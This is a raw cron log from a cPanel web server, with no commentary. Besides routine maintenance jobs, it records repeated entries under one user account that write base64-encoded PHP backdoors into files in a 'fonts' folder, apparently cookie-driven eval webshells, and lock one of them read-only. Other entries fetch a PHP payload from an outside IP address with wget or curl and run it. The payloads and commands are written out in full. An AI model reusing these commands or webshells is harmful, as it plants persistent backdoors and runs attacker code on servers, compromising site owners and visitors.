Sep  3 11:24:01 ip-184-168-122-23 CROND[28410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:24:01 ip-184-168-122-23 CROND[28411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:24:01 ip-184-168-122-23 CROND[28413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:25:01 ip-184-168-122-23 CROND[28568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:25:01 ip-184-168-122-23 CROND[28572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:25:01 ip-184-168-122-23 CROND[28571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:25:01 ip-184-168-122-23 CROND[28570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:25:01 ip-184-168-122-23 CROND[28574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:25:01 ip-184-168-122-23 CROND[28573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:26:01 ip-184-168-122-23 CROND[28692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:26:01 ip-184-168-122-23 CROND[28696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:26:01 ip-184-168-122-23 CROND[28695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:26:01 ip-184-168-122-23 CROND[28694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:26:01 ip-184-168-122-23 CROND[28697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:27:01 ip-184-168-122-23 CROND[28804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:27:01 ip-184-168-122-23 CROND[28805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:27:01 ip-184-168-122-23 CROND[28807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:27:01 ip-184-168-122-23 CROND[28806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:28:01 ip-184-168-122-23 CROND[28918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:28:01 ip-184-168-122-23 CROND[28922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:28:01 ip-184-168-122-23 CROND[28921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:28:01 ip-184-168-122-23 CROND[28923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:28:01 ip-184-168-122-23 CROND[28920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:29:01 ip-184-168-122-23 CROND[29028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:29:01 ip-184-168-122-23 CROND[29031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:29:01 ip-184-168-122-23 CROND[29032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:29:01 ip-184-168-122-23 CROND[29033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:30:01 ip-184-168-122-23 CROND[29249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:30:02 ip-184-168-122-23 CROND[29255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:30:02 ip-184-168-122-23 CROND[29256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:30:02 ip-184-168-122-23 CROND[29253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:30:02 ip-184-168-122-23 CROND[29258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:30:02 ip-184-168-122-23 CROND[29250]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:30:02 ip-184-168-122-23 CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:30:02 ip-184-168-122-23 CROND[29252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:31:01 ip-184-168-122-23 CROND[29391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:31:01 ip-184-168-122-23 CROND[29393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:31:01 ip-184-168-122-23 CROND[29396]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:31:01 ip-184-168-122-23 CROND[29394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:31:01 ip-184-168-122-23 CROND[29395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:32:01 ip-184-168-122-23 CROND[29542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:32:01 ip-184-168-122-23 CROND[29544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:32:01 ip-184-168-122-23 CROND[29546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:32:01 ip-184-168-122-23 CROND[29548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:32:02 ip-184-168-122-23 CROND[29550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:33:01 ip-184-168-122-23 CROND[29644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:33:01 ip-184-168-122-23 CROND[29646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:33:01 ip-184-168-122-23 CROND[29643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:33:01 ip-184-168-122-23 CROND[29645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:34:01 ip-184-168-122-23 CROND[29743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:34:01 ip-184-168-122-23 CROND[29744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:34:01 ip-184-168-122-23 CROND[29745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:34:01 ip-184-168-122-23 CROND[29747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:34:01 ip-184-168-122-23 CROND[29749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:35:01 ip-184-168-122-23 CROND[29932]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:35:01 ip-184-168-122-23 CROND[29940]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:36:01 ip-184-168-122-23 CROND[30040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:36:01 ip-184-168-122-23 CROND[30041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
